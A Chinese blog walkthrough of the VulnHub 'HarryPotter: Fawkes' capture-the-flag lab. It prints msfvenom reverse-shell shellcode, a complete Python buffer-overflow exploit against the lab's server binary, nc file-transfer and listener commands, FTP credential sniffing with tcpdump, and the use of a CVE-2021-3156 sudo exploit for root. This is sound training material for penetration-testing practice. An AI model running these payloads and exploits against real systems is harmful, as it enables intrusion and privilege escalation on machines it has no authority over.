【VulnHub靶场】——HARRYPOTTER第三部: FAWKES
作者名:Demo不是emo?
主頁面鏈接:主頁傳送門
創(chuàng)作初心:對于計算機的學(xué)習(xí)者來說,初期的學(xué)習(xí)無疑是最迷茫和難以堅持的,我也剛接觸計算機1年,也在不斷的探索,在CSDN寫博客主要是為了分享自己的學(xué)習(xí)歷程,學(xué)習(xí)方法,總結(jié)的經(jīng)驗等等,希望能幫助到大家
座右銘:不要讓時代的悲哀成為你的悲哀
專研方向:網(wǎng)絡(luò)安全,web安全
每日emo:第18次夢見
?
今天的博客內(nèi)容是HARRYPOTTER: FAWKES教程(困難難度),靶場環(huán)境來源于VulnHub,該網(wǎng)站有很多虛擬機靶場,靶場入口在這,推薦大家使用,大家進去直接搜索HARRYPOTTER: FAWKES就能下載今天的靶場,也可以找我拿,開始對今天靶場的介紹?
這是哈利波特vm系列靶場的第三個靶場,總共有三個靶場,其中隱藏了8個魂器,前兩部的靶場中我們已經(jīng)找到了隱藏的5個魂器,今天這個靶場中隱藏了三個,意思就是今天的靶場有三個flag,話不多說我們來仔細(xì)瞧瞧
靶場地址HarryPotter: Fawkes ~ VulnHub
目錄
一:攻擊準(zhǔn)備
二:信息收集?
1.http服務(wù)探測
2.ftp服務(wù)探測
三:信息利用?
1.緩存區(qū)溢出漏洞?
2.edb-debugger調(diào)試
1.關(guān)閉防護
2.安裝edb-debugger
3.開始調(diào)試
4.確認(rèn)漏洞
5. 尋找溢出位置
四.滲透實操
1.生成payload
2.構(gòu)造exp
3.普通權(quán)限
4.初步提權(quán)
5.tcpdump流量分析
6.最終提權(quán)?
一:攻擊準(zhǔn)備
虛擬機下載下來直接在vbox導(dǎo)入就可以,如果出現(xiàn)了報錯,就把啟用usb控制器關(guān)掉就可以正常打開了?
??這里除了到vulnhub下載到的目標(biāo)虛擬機環(huán)境,還需要一臺kali,并且兩臺處于同一網(wǎng)段(可以都用橋接模式),虛擬機管理設(shè)備用vm和virtual均可,我這里就用virtual來給大家演示了,如下面這樣就是搭建完成了,具體搭建過程就不多講了,不懂得也可以私信問我?
?
??(因為我這是校園網(wǎng),有防護所以c段不同,這里都用橋接模式即可,而且靶機也顯示了ip地址,不一定要跟我一樣,只要能ping通就可以進行靶場操作了)
二:信息收集?
這里看到,我的kali攻擊機的ip是172.21.43.89,而目標(biāo)機器的ip是172.21.48.36,既然知道了對方的ip,我們直接用nmap掃描工具詳細(xì)掃描一下,掃描結(jié)果如下:
?以看到成功探測到了21,22,80,2222,9898,下面我們就來嘗試?yán)眠@些端口做進一步的滲透
1.http服務(wù)探測
?上方的掃描結(jié)果可以看到目標(biāo)開啟了80端口,并且運行的是http服務(wù),說明目標(biāo)開啟了網(wǎng)頁服務(wù),我們直接使用瀏覽器訪問目標(biāo)的ip看看有沒有什么有用的信息
?可以看到只有一張圖片,而且f12開發(fā)者頁面也沒有什么有用的信息,通常靶場出現(xiàn)的圖片都帶有隱寫術(shù)的使用,但是本題經(jīng)過測試并沒有,所以還是老規(guī)矩直接目錄掃描,這里我們使用dirsearch目錄遍歷工具來探測
?命令如下(把目標(biāo)ip換成你們自己靶機的)
dirsearch -u "http://172.21.81.133" -e *結(jié)果如下
可以看到并沒有什么有用信息,所以80端口的探測只能先暫停了?
2.ftp服務(wù)探測
?根據(jù)上面我們掃描出來的信息可以看到目標(biāo)的ftp服務(wù)存在匿名登錄漏洞,我想我們應(yīng)該可以從這個漏洞入手
FTP的匿名登錄一般有三種:
1、 用戶名:anonymous 密碼:Email或者為空
2、 用戶名:FTP 密碼:FTP或者為空
3、 用戶名:USER 密碼:pass??
經(jīng)過登錄嘗試發(fā)現(xiàn)目標(biāo)的ftp服務(wù)用戶名為anonymous,密碼為空,?
??
?現(xiàn)在我們已經(jīng)成功登陸了目標(biāo)的ftp服務(wù),現(xiàn)在我們來看看作者留給了我們什么信息
?
?可以看到該服務(wù)下有一個server_hogwarts文件(暫時不知道啥用),老規(guī)矩,我們用get命令下載到本地,由于我們不知道這個文件的作用,所以我們用file命令來查看文件,結(jié)果如下
?
可以看到這是一個基于linux的elf可執(zhí)行文件,既然是可執(zhí)行文件,,那我們就執(zhí)行試試,所以我們先給這個文件一個執(zhí)行權(quán)限,再執(zhí)行該文件,結(jié)果如下
?
?可以看到執(zhí)行后并沒有報錯或爆出有效信息,但是卻一直在運行,所以有沒有可能是在后臺或進程運行呢?所以我們來看看系統(tǒng)進程,命令如下
ps -aux | grep server 顯示名字包含server的所有進程ss -pantu | grep server 用ss查看已經(jīng)建立的并且名字帶有server的連接信息注:
* ps命令多用來查看進程狀態(tài),平時用的也比較多,就不多講了
* ss 是 Socket Statistics 的縮寫。ss 命令可以用來獲取 socket 信息,對ss命令感興趣的同志可以點這里查看
查看到的結(jié)果如下圖:
?可以看到這個server_hogwarts這個進程正在運行中。并且運行的端口號和我們在掃描服務(wù)版本時同樣是9898端口。
根據(jù)上面nmap掃描出來的信息可以發(fā)現(xiàn)9898端口運行的服務(wù)是monkeycom,根據(jù)我查閱的資料發(fā)現(xiàn)monkeycom是一種比較老的服務(wù)器,但是我還是不太理解,我們換個思路,既然server_hogwarts程序運行在9898端口,那我們就直接監(jiān)聽9898端口,看看有什么效果
因為我們正在運行server_hogwarts程序,所以我們直接用nc工具監(jiān)聽本地的9898端口即可?
?可以看到是一個輸入命令的頁面,提示我們輸入魔法指令,還給出了常用的魔法指令,但是我們再輸入后并沒有得到有用的信息,但因為這個是一個輸入點,所以我們可以考慮輸入點常見的漏洞——緩存區(qū)溢出漏洞
三:信息利用?
1.緩存區(qū)溢出漏洞?
?緩沖區(qū)溢出(buffer overflow),是針對程序設(shè)計缺陷,向程序輸入緩沖區(qū)寫入使之溢出的內(nèi)容(通常是超過緩沖區(qū)能保存的最大數(shù)據(jù)量的數(shù)據(jù)),從而破壞程序運行、趁著中斷之際并獲取程序乃至系統(tǒng)的控制權(quán)。
而緩存區(qū)溢出漏洞最重要的就是找出緩存區(qū)溢出的位置,這里我們使用edb-debugger調(diào)試工具來動態(tài)測試server_hogwarts進程并找出緩存區(qū)溢出漏洞的溢出位置
2.edb-debugger調(diào)試
edb-debugger是一個跨平臺的 AArch32 / x86 / x86-64 調(diào)試器,具體使用步驟如下
1.關(guān)閉防護
我們是通過ftp服務(wù)下載server_hogwarts到本地來調(diào)試,目的就是找出它的緩存溢出位置,但是kali本機存在ALSR安全技術(shù),地址空間隨機化,會造成內(nèi)存地址的隨機化,導(dǎo)致我們無法確定緩沖區(qū)溢出的位置。所以要關(guān)閉。
步驟:如下圖,cd到/proc/sys/kernel目錄下把randomize_va_space改成0即可
2.安裝edb-debugger
?安裝命令如下
apt install edb-debugger安裝之后如下圖,輸入edb即可啟動并打開調(diào)試界面
3.開始調(diào)試
注意:到這里時前面的server_hogwarts文件需要保持運行狀態(tài),而且9898端口的連接也不要斷開
點擊左上角的file——attach
?找到我們要調(diào)試的進程,就是剛才我們運行的server_hogwarts,選中點擊ok即可
?再點擊運行(就是我用紅圈劃出來的按鍵)即可開始調(diào)試這個進程
4.確認(rèn)漏洞
因為我們要來調(diào)試緩存區(qū)溢出漏洞, 所以就需要大量的數(shù)據(jù),這里我們先用python生成500個A來試試,生成命令如下:
python -c "print('A'*500)"把生成的500個A復(fù)制到剛才nc監(jiān)聽9898端口的輸入位置,回車再進行分析
可以看到這里出現(xiàn)了報錯,提示我們0×41414141的內(nèi)存位置出現(xiàn)了錯誤,這時說明已經(jīng)調(diào)試到了錯誤的位置,即確實存在代碼溢出漏洞,我們點擊ok,詳細(xì)查看一下錯誤信息
?注:這里的EIP寄存器存儲的是下一個指令的內(nèi)存地址(可以理解為調(diào)試工具需要根據(jù)EIP才知道下一個調(diào)試的指令),而ESP存儲器存儲的是是的具體指令,?
攻擊思路:我們可以通過修改EIP的內(nèi)容,從而使指令跳轉(zhuǎn)到ESP,強制執(zhí)行ESP的指令。如果ESP的指令是反彈shell的指令,就可以反彈shell。
5. 尋找溢出位置
既然確認(rèn)了目標(biāo)存在緩存區(qū)溢出漏洞,就需要找到緩存區(qū)溢出的位置,從而知道該從哪里插入攻擊代碼,同樣的我們還是生成大量數(shù)據(jù)。
注:這里就不能像上面一樣都生成A了,因為數(shù)據(jù)如果都一樣的話就不知道溢出的位置在哪里,我們需要通過報錯的地方判斷出溢出位置
這里我們使用msf生成500無規(guī)律排列的字符,代碼如下
msf-pattern_create -l 500重啟edb,和上面同樣的操作開啟調(diào)試,此時將msf生成的無規(guī)律字符輸入,此時頁面如下
?此時的報錯提示我們0×64413764內(nèi)存位置有問題,那這個位置很有可能就是想找的溢出位置,我們來找一下這個內(nèi)存位置在輸入?yún)^(qū)的位置
查詢溢出位置
msf-pattern_offset -l 500 -q 64413764?可以看到偏移量為112,所以64413764就是在113個位置,當(dāng)然這里也可以再來驗證一下,順便讓你們更深刻的理解一下EIP寄存器和ESP寄存器的位置關(guān)系
老樣子重啟edb,用下面的命令生成一段調(diào)試代碼,意思就是生成216個字符,前112個是A,然后是4個B,最后跟100個C
python -c "print('A'*112+'BBBB'+'C'*100)"再用edb調(diào)試,結(jié)果如下
?再次看到報錯信息,此時提示0×42424242位置有問題,而42正是B的16進制,說明沒啥問題,此時點擊ok查看EIP和ESP的內(nèi)容,內(nèi)容如下
可以發(fā)現(xiàn)EIP寄存器的內(nèi)容是BBBB,ESP寄存器內(nèi)容是CCCC?
再結(jié)合我們最開始的攻擊思路,生成一段反彈shell的代碼,并轉(zhuǎn)化為16進制,放入ESP,再讓EIP指向ESP,就可以強制執(zhí)行ESP的代碼了,也就是反彈shell的代碼
但是這里我們不僅需要在ESP中放入payload,還需要讓EIP指向ESP,那怎樣指向呢?具體操作步驟如下
?在跳轉(zhuǎn)設(shè)置中選中ESP->EIP,即將ESP的內(nèi)存地址作為EIP的內(nèi)容,這樣就可以實現(xiàn)EIP指向ESP了,在左側(cè)選擇執(zhí)行此操作的進程(注意要選擇有執(zhí)行權(quán)限的,就是r-x)
?此時點擊FInd就會找到ESP的內(nèi)存位置,選擇jmp esp的內(nèi)存地址,那就是我們要寫入EIP的內(nèi)容
?可以看到結(jié)果是08049d55,但是眾所周知機器命令中需要反寫,所以就是559d0408(兩位為一個16進制),最后得出的16進制結(jié)果就是\x55\x9d\x04\x08,這就是我們需要寫入EIP的內(nèi)容
四.滲透實操
1.生成payload
這個生成的payload就是我們用來放進ESP并執(zhí)行的反彈shell代碼,但注意這里需要16進制的payload,我們直接使用msfvenom來生成就可以了,代碼如下
msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.21.36.188 LPORT=4444 -b "\x00" -f python注意這里的ip要換成你們自己的kali攻擊機ip,這里的反彈shell端口隨便定,只要不沖突都可以,生成結(jié)果如圖
?生成的paylao如下
buf = b"" buf += b"\xb8\xd4\xbe\xd2\x98\xd9\xc3\xd9\x74\x24\xf4\x5d\x31" buf += b"\xc9\xb1\x12\x31\x45\x12\x03\x45\x12\x83\x39\x42\x30" buf += b"\x6d\xf0\x60\x42\x6d\xa1\xd5\xfe\x18\x47\x53\xe1\x6d" buf += b"\x21\xae\x62\x1e\xf4\x80\x5c\xec\x86\xa8\xdb\x17\xee" buf += b"\x86\x09\xcc\x52\xbe\x33\x0c\xbb\x63\xbd\xed\x0b\xfd" buf += b"\xed\xbc\x38\xb1\x0d\xb6\x5f\x78\x91\x9a\xf7\xed\xbd" buf += b"\x69\x6f\x9a\xee\xa2\x0d\x33\x78\x5f\x83\x90\xf3\x41" buf += b"\x93\x1c\xc9\x02"2.構(gòu)造exp
上面我們已經(jīng)成功獲取payload,但并不是最終的payload,因為還要考慮緩存溢出位置的問題,并且這段代碼不能作出攻擊行為,所以我們還需要配合這個payload來寫個python腳本,生成最終的payload并編寫exp來攻擊,最后生成的exp如下
#!/usr/bin/python2 import sys,socket buf = b"" buf += b"\xb8\xd4\xbe\xd2\x98\xd9\xc3\xd9\x74\x24\xf4\x5d\x31" buf += b"\xc9\xb1\x12\x31\x45\x12\x03\x45\x12\x83\x39\x42\x30" buf += b"\x6d\xf0\x60\x42\x6d\xa1\xd5\xfe\x18\x47\x53\xe1\x6d" buf += b"\x21\xae\x62\x1e\xf4\x80\x5c\xec\x86\xa8\xdb\x17\xee" buf += b"\x86\x09\xcc\x52\xbe\x33\x0c\xbb\x63\xbd\xed\x0b\xfd" buf += b"\xed\xbc\x38\xb1\x0d\xb6\x5f\x78\x91\x9a\xf7\xed\xbd" buf += b"\x69\x6f\x9a\xee\xa2\x0d\x33\x78\x5f\x83\x90\xf3\x41" buf += b"\x93\x1c\xc9\x02"payload='A'*112+'\x55\x9d\x04\x08'+'\x90'*32+buf try:s=socket.socket()s.connect(('172.21.81.133',9898))s.send((payload))s.close() except:print('wrong')sys.exit()注:這里connect連接的是靶機的9898端口?
新建一個python文件存放上面的代碼
3.普通權(quán)限
先用nc監(jiān)聽最開始設(shè)置的反彈shell端口,再在本地執(zhí)行我們生成的python文件,具體操作如下
1.用nc監(jiān)聽 nc -lnvp 4444 2.執(zhí)行exp文件 ./exp.py結(jié)果如下?
?可以看到成功連接,是一個名為harry的普通用戶,并且在家目錄的harry目錄下,成功發(fā)現(xiàn)隱藏文件.mycreds.txt,打開后發(fā)現(xiàn)是一段類似密碼的字符串
HarrYp0tter@Hogwarts1234.初步提權(quán)
?看到了類似密碼的字符串,馬上就聯(lián)想到了前面探測出的22端口,并且harry用戶名我們也知道了,嘗試ssh登錄,發(fā)現(xiàn)失敗,但是最開始探測時,22端口運行的是ssh服務(wù),但是還有一個2222端口運行的也是ssh服務(wù),所以我們再嘗試一下2222端口的ssh登錄
成功登陸,嘗試進一步信息收集
?但是進一步操作時卻發(fā)現(xiàn)這臺機器居然處于docker容器中,這無疑給我們加大了很多難度
但是在使用sudo -l時發(fā)現(xiàn)sudo命令的可執(zhí)行者是ALL,就代表sudo存在配置問題,所以我們直接使用sudo -s成功拿到當(dāng)前docker容器的root權(quán)限
?成功在/root目錄下發(fā)現(xiàn)隱藏文件horcrux1.txt文件,這是本關(guān)的第一個flag,內(nèi)容如下:
?horcrux_{NjogSGFSclkgUG90VGVyIGRFc1RyT3llZCBieSB2b2xEZU1vclQ=}
還發(fā)現(xiàn)了一個note.txt文件,內(nèi)容如下
We have found that someone is trying to login to our ftp server by mistake.You are requested to analyze the traffic and figure out the user.?這段話大致意思就是提示我們?nèi)シ治鰂tp服務(wù)上的流量
5.tcpdump流量分析
?我們用tcpdump流量分析工具來監(jiān)聽21端口上ftp服務(wù)的流量(因為剛才ip a命令只查看到了etho這一張網(wǎng)卡,所以我們猜測數(shù)據(jù)是基于這張網(wǎng)卡產(chǎn)生的),具體命令如下?
tcpdump -i eth0 port 21根據(jù)截取到的流量可以看到,三次握手中發(fā)出的數(shù)據(jù)包含了賬密,并且提示了我們這個賬密用于登錄,所以我們也成功拿到了賬密?
賬號:neville
密碼:?bL!Bsg3k
?老樣子還是嘗試通過ssh連接,但是這里用22端口的ssh就可以登錄
?可以看到ssh成功登錄,并且ip a命令回顯了IP地址,確認(rèn)了我們現(xiàn)在已經(jīng)跳出了docker容器
?在家目錄的neville目錄下成功發(fā)現(xiàn)了第二個flag,內(nèi)容如下:
horcrux_{NzogTmFHaU5pIHRIZSBTbkFrZSBkZVN0cm9ZZWQgQnkgTmVWaWxsZSBMb25HYm9UVG9t}
6.最終提權(quán)?
?最開始嘗試了常規(guī)提權(quán)方法,sudo提權(quán),歷史命令,反彈shell等操作提權(quán),但均以失敗告終,此時就只能從系統(tǒng)層面入手了,所以我們先對系統(tǒng)進行一次信息收集
可以發(fā)現(xiàn)這是一臺debian10,sudo的版本是1.8.27,我們上網(wǎng)搜索一下看是否存在漏洞?
?接著就是找exp,很幸運,在github上有針對該漏洞的exp,鏈接如下
CVE-2021-3156/exploit_nss.py at main · worawit/CVE-2021-3156 · GitHub
?直接在kali新建一個python文件,把代碼復(fù)制上去,注意這個代碼唯一需要修改的地方就是sudo的路徑,也就是下方我劃出來的位置,要改成跟目標(biāo)sudo一樣的路徑,像下面這樣就可以了
?因為此時exp文件在kali上,而我們需要目標(biāo)執(zhí)行這個exp文件,所以我們用nc將這個exp文件上傳到目標(biāo)機器
目標(biāo)機器上執(zhí)行的下面的操作(exp.py就是接收時文件的保存名)
nc -nvlp 4444 > exp.py
kali攻擊機執(zhí)行下面的操作(exploit.py就是剛才創(chuàng)建的python文件)
nc 172.21.81.133 4444 < exploit.py -w 1
?
執(zhí)行結(jié)果如下:?
?可以看到成功提權(quán),已經(jīng)是root用戶
第三個也就是最后一個flag在root目錄下即可看見
?第三個flag內(nèi)容為
Here is your last hocrux:horcrux_{ODogVm9sRGVNb3JUIGRFZmVBdGVkIGJZIGhBcnJZIFBvVFRlUg==}
到此這個靶場就打完了,哈利波特系列的三個靶場也都結(jié)束了,恭喜你成功擊敗了最后一個魂器!?
真的淚目,三個靶場一個比一個難,但對我來說確實收獲很大,接觸了很多以前不知道的知識,感謝自己沒有放棄,堅持到了最后,同學(xué)們加油哇,respect!
總結(jié)
以上是生活随笔為你收集整理的【VulnHub靶场】——HARRYPOTTER第三部: FAWKES的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 数据结构练习题——线性表
- 下一篇: 数据结构——二叉树相关练习题